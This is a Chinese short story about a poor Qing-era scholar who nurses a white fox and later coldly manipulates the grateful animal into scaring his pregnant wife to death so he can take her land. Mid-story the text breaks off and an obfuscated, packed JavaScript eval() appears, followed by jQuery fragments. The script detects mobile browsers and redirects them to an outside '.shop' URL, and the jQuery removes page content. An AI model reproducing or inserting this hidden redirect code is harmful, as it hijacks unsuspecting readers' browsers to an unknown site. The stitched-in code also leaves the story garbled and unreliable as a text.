乾隆二十三年，山东青州府益都县。
那年冬天冷得邪乎。雪下了三天三夜。
巷子最里头住着个穷书生，姓沈，叫沈怀远。二十四五岁，爹娘死得早，家徒四壁。考了两回秀才，头回落榜，第二回中了，又赶上母亲病重，侍疾半年，误了乡试。
如今靠给街坊孩子启蒙认字，收几文束脩，只是饥一顿饱一顿。
那夜他正就着一盏豆大的油灯读《孟子》。窗外风雪呜呜地响，忽听得门外有动静，窸窸窣窣的。
他披衣开门，雪扑了一脸，低头一看，门槛边蜷着一团白毛。是一只小狐狸，后腿被兽夹咬烂了，血冻成黑紫色的冰碴，尾巴耷拉着，半边身子埋在雪里。
它仰头看他。
沈怀远蹲下来。他那双手冻得通红，指尖有裂口，可他伸手去掰狐狸后腿上缠着的铁丝时，想是铁丝嵌进肉里的缘故，他一扯，狐狸疼得浑身一哆嗦，张嘴咬住了他的虎口。
沈怀远“嘶”了一声，却没抽手，反而笑了：“你倒凶得很。”
他把狐狸抱进屋，放在灶边的干草堆上，烧了半锅热水，用旧布蘸着给狐狸擦伤口。狐狸疼得直抖，两只前爪死死抓着草，没再咬他。他把自己晚上没舍得喝完的半碗稀粥倒进破陶碗里，搁在狐狸面前。狐狸闻了闻，没吃。
他把碗往前推了推：“吃吧，我不害你。”
他也不明白自己为什么不把它杀了扒皮卖钱呢，可能是觉得太无聊了吧，而且，总归积点德对自己的仕途好啊。
他自己喝了碗热水，在灶边铺了件旧袄，睡下了。
第二天醒来，狐狸不见了。干草堆上只剩那条旧围巾，上面沾着一点血。
三天之后，清早开门，门槛上放着一只死兔子。灰毛，肥嘟嘟的，刚断气不久，脖子上有细细的齿痕。他愣了一下，拎起来掂了掂，五六斤。炖成了一锅，吃了三天。
不久，门口又出现了一只山鸡。
他留了心，躲在门后等。等到天擦黑时，一个白影子从墙根溜过来，嘴里叼着东西，一瘸一拐——那条后腿还没好利索——把嘴里的野鸽子放在门槛上，掉头就跑。
“哎——”沈怀远推开门。
白影子一顿，回头看了他一眼，嗖地钻进雪地里，没了。
此后隔三差五，门口总有东西。有时一只鸟，有时一条鱼，有一回是一小捧松子，整整齐齐码在门槛上。沈怀远起先觉得有趣，后来渐渐习以为常。他会在门口放一碗水，有时是几块饼子，第二天准空了。
他不知道狐狸住在哪儿，但知道它就在附近。偶尔雪夜里能听见细细的一声叫，像婴儿啼。他推开窗，外面什么也没有，只有月亮照着白茫茫的巷子。他对着空巷说：“知道了，睡吧。”那叫声就没了。
开春之后，沈怀远时来运转。
县里一个姓周的乡绅要请西席教儿子读书。周乡绅是益都县数得着的大户，田产上千亩，城里还有两间铺子。
他独子周小公子七八岁，聪明是聪明，就是顽劣，换了三个先生都管不住。
沈怀远去了，不骂不打，把“学而时习之”编成小曲儿唱给他听。
半个月下来，小公子服了。周乡绅高兴，留他住下，月银二两，包吃住。
周家的日子比破巷子好过百倍。一日三餐有了着落，衣裳换了新的，书桌都是好木的。沈怀远却没什么变化，还是那副温温吞吞的样子，见了谁都点头微笑。周乡绅越来越喜欢他，常跟人说：“沈先生这个人，难得是个不浮躁的。”
只有沈怀远自己知道，他夜里躺在床上时，脑子里想的是些什么。
他算过一笔账：周家良田千亩，城里的铺子每月进账少说几十两，宅子里随便一件摆设都够他在破巷子活一年。周乡绅没有儿子以外的子嗣，那个独子才七八岁，养得娇贵，三天两头病一场。周乡绅自己呢，五十多了，身子虽硬朗，到底有了年纪。
周家这棵大树，总有倒的一天。
沈怀远把这些念头藏在心里，面上不露分毫。他照常教周小公子读书，照常给周乡绅请安，照常在饭桌上说些“君子固穷”“安贫乐道”的话。周乡绅听了直点头：“沈先生真是读书人。”
秋天的时候，周乡绅把外甥女许配给了他。
那姑娘姓柳，叫柳娘。爹娘都没了，寄养在舅舅家。十八岁，不漂亮，圆脸，有几颗麻子，但脾气极好，说话慢声细语，做得一手好针线。柳娘手里有一笔嫁妆，是当年她爹娘留下的，百来亩地，一直由周乡绅代管。成亲后，地契归了沈怀远。
洞房那夜，柳娘低着头说：“我配不上你，你是读书人……”
沈怀远替她拢了拢鬓发，说：“说什么配不配的，过日子罢了。”他语气温和，眉眼也温和，柳娘看了他一眼，脸红了，低下头笑了。
婚后两人住在周家西跨院，小日子过得安安稳稳。柳娘早起给他煮粥，他教完书回来，两人就着油灯吃饭。她纳鞋底，他看书，偶尔说几句话，都是柴米油盐。沈怀远待她不算热络，但也不差，该有的礼数都有，该给的脸面都给。柳娘觉得自己命好，嫁了个知冷知热的读书人。
只有一件事，沈怀远没跟柳娘提过。
搬进周家半年后的一天夜里，他听见后窗外有动静。推开窗，一只白狐狸蹲在墙根下，仰头看着他，嘴里叼着一只活鸡——是周家后厨养的肥母鸡，翅膀还在扑腾。
狐狸把鸡放在窗台下，退了两步，歪着头看他。月光照在它身上，白得发亮，那条断过的后腿如今全好了，看不出痕迹。
它黑亮的眼睛望着他，跟一年前那个雪夜一模一样，安静又认真。
沈怀远沉默了一会儿。然后他弯下腰，把鸡抱起来，轻声说：“你跟我来。”
他把狐狸带到了西跨院后头一间废弃柴房。里头堆着旧家具，角落有个破箱子，他腾了腾，铺上干草，把鸡拴在门外。狐狸趴在干草上，蜷成一团，尾巴盖住鼻子，一会儿就睡着了。
从那以后，狐狸就住在了柴房里。
沈怀远会从厨房偷偷拿些剩饭给它，有时半条鱼，有时几块肉。柳娘没发现——她从不进柴房，她嫌脏。
沈怀远也没打算告诉柳娘。他说不清为什么。他只是觉得，这是他和狐狸之间的事。
转瞬已是暮春。院里海棠开得正好，柳娘坐在廊下做针线，肚子微微隆起，整个人懒洋洋的。沈怀远教完书回来，在院里站了站，忽然想起后头柴房里那只狐狸。
他推开柴房门，狐狸正趴在干草堆上，耳朵竖着，听见他的脚步，尾巴轻轻摇了一下。沈怀远蹲下来，摸了摸它的头。狐狸眯着眼，喉咙里发出细细的呼噜声。
“你倒会享福。”沈怀远笑了一声，从袖子里掏出一个纸包，打开，里头是半只烧鸡。他撕了一条腿递给狐狸。狐狸接过去，三两口吞了，又抬头看他，眼睛里满是期待。
沈怀远看着那双眼睛，忽然起了个念头。
他说：“你知道周家那口枯井里有什么吗？”
狐狸歪了歪头。
沈怀远压低声音：“听说有银子。周乡绅他爹当年藏的，后来找不着了。你要是有本事，去刨出来，我就有钱捐个官做了。”
他说完自己先笑了。这话他对柳娘说过，柳娘只当他痴人说梦，笑他“书呆子”。他也就是随口一说，说完便起身要走。
可他刚站起来，狐狸就窜了出去。白影子一闪，从柴房门缝钻出去，消失在院墙后面。
沈怀远愣了一下，摇摇头，没当回事。
当天夜里，他正在灯下批周小公子的文章，忽听得后窗有动静。推开窗，狐狸蹲在窗台上，嘴里叼着什么东西，往他面前一放。
是一锭银子。二两左右，成色不算好，边缘有齿痕。银子底下还沾着井泥，湿漉漉的，带着一股子土腥味。
沈怀远拿起那锭银子，在灯下翻来覆去地看。他的手有点抖。他抬头看狐狸，狐狸也看着他，黑眼睛亮晶晶的，尾巴轻轻摇着，像是等大人夸的孩子。
“你……”沈怀远咽了口唾沫，“你听得懂我说话？”
狐狸歪着头，点点头。
他蹲下来，把狐狸抱进屋里，放在书桌上。这是他头一回让狐狸进屋。狐狸四处嗅了嗅，在砚台旁边转了一圈，最后在他手边趴下来，把脑袋搁在前爪上。
沈怀远看着它，脑子里转得飞快。
原来它一直听得懂。
沈怀远的手指轻轻敲着桌面。他想起小时候听老人讲，狐狸这东西，活得久了，能通人性。
他爹活着的时候说过，青州府山里有一只白狐，活了二百多年，能听人话，会报恩。他当时只当是故事。
现在这“故事”就在他手边趴着，暖乎乎的，尾巴搭在他腕上，呼吸均匀，像是睡着了。
沈怀远低头看着它。他的眼神变了。那变化很细微，不留痕迹。半响，他的嘴角弯了弯。
他轻轻摸了摸狐狸的背：“你呀，倒知道什么是值钱的。”
狐狸在睡梦里动了动耳朵。
从那天起，沈怀远夜里多了个习惯。他总在教完书之后，在柴房里坐上一会儿。他絮絮叨叨地说，狐狸趴在草堆上听。
“周家是真阔。你看那前厅的摆设，随便一件都够我花三年。”
狐狸的耳朵动了动。
“柳娘那百来亩地，一年出息也就那样。要是能有周家一半的田产，我死也瞑目了。”
狐狸站起来，在草堆上转了一圈，又趴下了。它的尾巴轻轻拍着干草，发出沙沙的声响。
沈怀远说这些话时，从来不直接看狐狸。他望着柴房的墙壁，望着窗外的月亮。
可他的耳朵也和狐狸似的竖着，听着狐狸的动静。狐狸一有反应，他就停一停，然后再接着说。
他像一个钓鱼的人，把饵抛出去，等着鱼咬钩。
秋深了，柳娘的肚子一天大似一天。沈怀远夜里从柴房回来，推开正屋的门，柳娘还没睡，在灯下缝小孩的肚兜，见他进来，抬头笑了笑：“又去柴房了？那屋里有什么好东西，你天天去。”
沈怀远脱了外衫，在床边坐下来，语气淡淡的：“没什么，看看旧书。”
柳娘没再问。她从来不问。她是个温顺的女人，丈夫做什么她都信，丈夫说什么她都听。
沈怀远看着她低着头缝肚兜的样子，忽然说了一句：“你身子重了，夜里别老起来。”
柳娘说：“我夜里睡得沉，不起夜。”
沈怀远“嗯”了一声，没再说话。他把油灯拨暗了些，在柳娘身边躺下。
黑暗里，他的眼睛睁着，望着帐顶，不知道在想什么。
第二天夜里，沈怀远从柴房回来时，没有关正屋的门。
他只是没关严，留了一条缝，够一只狐狸钻进去的缝。他躺下的时候，柳娘已经睡着了，呼吸均匀，肚子在被子下隆起一个柔和的弧线。
沈怀远闭上眼睛。
三更天的时候，他听见了。窸窸窣窣的，从外屋传来的声音。然后是一声极轻的、爪子踩在砖地上的“嗒”。他听得很清楚，但他一动不动。
他的呼吸保持着睡着时的均匀节奏，眼皮一丝没动。
柳娘翻了个身。
沈怀远的心跳快了半拍，但面上依旧纹丝不动。他听见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968648|214608||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
狐狸在床前蹲下了。
它大概是在看柳娘的肚子。
柳娘醒了。她迷迷糊糊地睁开眼，看见床前蹲着一个白影子。她“啊”地叫了一声，猛地坐起来。
狐狸吓了一跳，窜了出去。
沈怀远被“惊醒”了，猛地坐起来，一把搂住柳娘：“怎么了？怎么了？”
柳娘浑身发抖，指着门口：“有……有个东西……白的……眼睛好亮……”
沈怀远拍着她的背：“没事没事，大概是只野猫。你做梦了。”
柳娘缩在他怀里，眼泪都出来了：“不是猫，我看着像……像狐狸……”
沈怀远搂着她，轻声细语地哄了半宿。
三天之后，柳娘又看见了那个白影子。这回是在白天，狐狸从柴房里跑出来，在院子里被柳娘撞见了。柳娘吓得叫出了声，沈怀远从屋里出来，皱了皱眉，把狐狸赶回了柴房。
他把柳娘扶进屋，叹了口气：“是我不好，前阵子在巷口捡了只受伤的狐狸，养在柴房里，忘了跟你说。没想到吓着你了。”
柳娘脸色发白：“你养那东西做什么？送走罢。”
沈怀远说：“伤还没好全，过两天好了就送走。你别怕，它不伤人。”
柳娘点点头，但她夜里开始睡不安稳了。沈怀远注意到，她半夜总要醒一两回，醒了就睁着眼躺半天。她的脸色一天比一天差，稳婆来看了，说孕妇这样可不行，得安心静养。
沈怀远把稳婆送走，站在院子里，背着手看天上的云。狐狸从柴房门缝里探出头来，望着他。它不知道自己做错了什么。
狐狸缩回柴房，趴在干草堆上，心里发慌。它想问问沈怀远到底该怎么办，可沈怀远已经好几天没来柴房了。
又过了几日，沈怀远终于来了。他蹲在狐狸面前，摸了摸它的头，叹了口气：“柳娘身子不好，稳婆说她这一胎怀得凶险。”
狐狸竖起耳朵。
沈怀远的声音很轻：“她要是出了什么事，那百来亩地就全是我的了。周家那边，也再没人能说三道四。”
狐狸凑过去，把脑袋搁在他膝盖上。
沈怀远摸着它的背，沉默了很久。
然后他说了一句话。
狐狸听见了。
“要是她这会儿没了就好了。”
说完他拍了拍狐狸的头，站起来走了。
狐狸趴在干草堆上，反复想那句话。
它想做点什么。
那天夜里，它又从柴房溜了出来。正屋的门没有关。它轻轻走进去，走到床前，蹲下来。柳娘在睡梦中翻了个身，没有醒。
狐狸盯着那个隆起的肚子看了很久。
它伸出爪子，轻轻碰了碰被角。
柳娘醒了。她睁开眼，看见床前蹲着一个白影，她张大了嘴，还没叫出声来，身子先往后一缩——
她的后腰撞上了床沿的木棱。
她惨叫一声，跌在床上。
狐狸窜了出去。
沈怀远被吵醒了。他点上灯，看见柳娘捂着肚子，脸色惨白，身下洇开一片暗红。他“惊”得叫起来，跑去叫人。
柳娘早产了。
疼了一天一夜，稳婆换了三个，孩子还是没下来。沈怀远守在门外，听着柳娘一声接一声地叫，脸上表情有些诡异。周乡绅急得在院子里来回走，仆人们进进出出端热水，整个宅子都乱得很。
孩子到底没保住。生下来就是死胎，男婴，浑身青紫。柳娘大出血，稳婆说不行了，周乡绅让人去请城里的洋大夫，大雪封路，马车出不去。
柳娘撑到后半夜，没了。
沈怀远坐在床边，握着柳娘渐渐变凉的手，一动不动。油灯燃尽了一根，他也没叫人换。
屋里静得可怕，只有窗外风声呜咽。
他的另一只手，在袖子里攥着那几张地契。柳娘死后，这些地就完完全全归了他，再没有人和他争。
狐狸不知什么时候从柴房跑了出来。它蹲在正屋门槛外面，隔着帘子，看着屋里昏黄的光。
它趴下来，把头搁在前爪上，眼睛望着帘子后面那个模模糊糊的似乎有些哀伤的人影。
它觉得是自己的错。
才让书生如此悲痛，它曲解了书生的意思罢。
它想：如果它没有进正屋就好了。如果它没有蹲在床前就好了。如果它只是一只普通的狐狸，听不懂人话，不会做事，就好了。
它不知道，正屋的门，是沈怀远故意没关的。
它不知道，那天夜里沈怀远对它说的那句“要是她这会儿没了就好了”，是算好了它会听进去的。它不知道，它蹲在床前的那一幕，沈怀远在被窝里睁着眼，听得一清二楚。
它只知道，它害死了柳娘。
而且沈怀远不来看它了。
柴房的门上了锁，窗户也关死了。狐狸被关在里面，饿了三天，第四天从窗缝里挤了出去，瘦得只剩一把骨头。
它没有跑。它在院子里徘徊了一整夜，然后跑到西跨院正屋门口，趴下来，像柳娘死的那晚一样，把头搁在前爪上，望着那扇紧闭的门。
它觉得沈怀远恨它是应该的。
它不知道，在沈怀远心里，它已经没用了。
柳娘死了，地契到手了。那只狐狸唯一的用处就是扒了皮卖些钱。
沈怀远站在书房的窗前，望着外面纷纷扬扬的雪。他的手里端着一盏热茶，茶香袅袅。
他喝了一口茶。
然后他把茶盏放下，铺开一张纸，开始写明年春天要考的策论。他的字很端正，一笔一划，就和他这个人一样，面上挑不出半点毛病。